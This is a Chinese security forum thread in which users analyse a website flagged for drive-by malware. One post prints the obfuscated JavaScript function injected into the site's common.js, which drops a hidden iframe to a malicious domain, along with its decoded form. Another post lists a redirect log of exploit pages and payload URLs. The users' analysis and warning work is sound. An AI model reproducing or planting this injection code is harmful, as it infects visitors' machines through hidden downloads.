一起看吧被google怀疑挂马。

chenpatrick

我用firefox进www.17look8.com/bbs，WOT这个工具提醒我说，该网站怀疑被挂马。我的kis2009没反映，但是，我朋友的金山报警了。请检测。

wjp01234

红伞报D:\Temporary Internet Files\Content.IE5\6JAMHMWN\beng[1].htm
HEUR/HTML.Malware

dikex

隐蔽的挂马，问题在http://www.17look8.com/bbs/include/javascript/common.js，在文件中被加入了一个函数goad()

1. 
   
2. function goad(){var Then = new Date()
   
3. Then.setTime(Then.getTime() + 24*60*60*1000)
   
4. var cookieString = new String(document.cookie)
   
5. var cookieHeader = "Cookie1="
   
6. var beginPosition = cookieString.indexOf(cookieHeader)
   
7. if (beginPosition != -1){ } else { document.cookie = "Cookie1=Filter;expires="+ Then.toGMTString()
   
8. eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3.d(\'<7 4=0 c=1 a="6://9.2/8/b.5"></7>\')',62,14,'|100|cn|document|height|htm|http|iframe|images|google-anlacc|src|beng|width|writeln'.split('|'),0,{}));window.status="U+FFFDU+FFFDU+FFFD";}}goad();
   
9. 
   

复制代码

设置cookie，有效期一天，期间不再进行挂马操作
解开加密段后：<iframe height=0 width=100 src="http://google-anlacc.cn/images/beng.htm"></iframe>

毒为：http://59.34.197.63/exe1/ms.cs

另外其实Google的提示有相对滞后性

西风萧雨

施老2005

楼上几位都是高手。

lg560852

哦，放中间了。

[ 本帖最后由 lg560852 于 2008-11-11 08:48 编辑 ]

icka

病毒: Trojan-Dropper.Win32.Agent.yjl (KAV 引擎), Trojan.Downloader.JLCQ (BD 引擎)

lg560852

Log is generated by FreShow.
[wide]http://google-anlacc.cn/images/beng.htm
    [frame]http://baidu-bai9.cn/b082222/b08.htm
        [frame]http://baidu-bai9.cn/b082222/new.html
            [frame]http://baidu-bai9.cn/b082222/../14.htm
                [object]http://59.34.197.63/exe1/ms.css
            [frame]http://baidu-bai9.cn/b082222/fx.htm
                [frame]http://baidu-bai9.cn/b082222/mlink.html
                [frame]http://baidu-bai9.cn/b082222/xlink.html
            [frame]http://baidu-bai9.cn/b082222/../as.htm
                [frame]http://baidu-bai9.cn/b082222/../ce.htm
                    [object]http://59.34.197.63/exe1/ce.css
                [object]http://59.34.197.63/exe1/ce.css
            [frame]http://baidu-bai9.cn/b082222/lzz.htm
                [object]http://59.34.197.63/exe1/b08.css
            [frame]http://baidu-bai9.cn/b082222/real11.htm
                [object]http://59.34.197.63/exe1/b08.css
            [frame]http://baidu-bai9.cn/b082222/../real10.htm
                [object]http://59.34.197.63/exe1/re.css
            [frame]http://baidu-bai9.cn/b082222/../Bfyy.htm
                [object]http://59.34.197.63/exe1/bf.css

acergelff

原帖由 西风萧雨 于 2008-11-11 08:12 发表
396712

请问这个历史安全记录是哪个软件？？？

baerzake

火狐已经屏蔽了此网站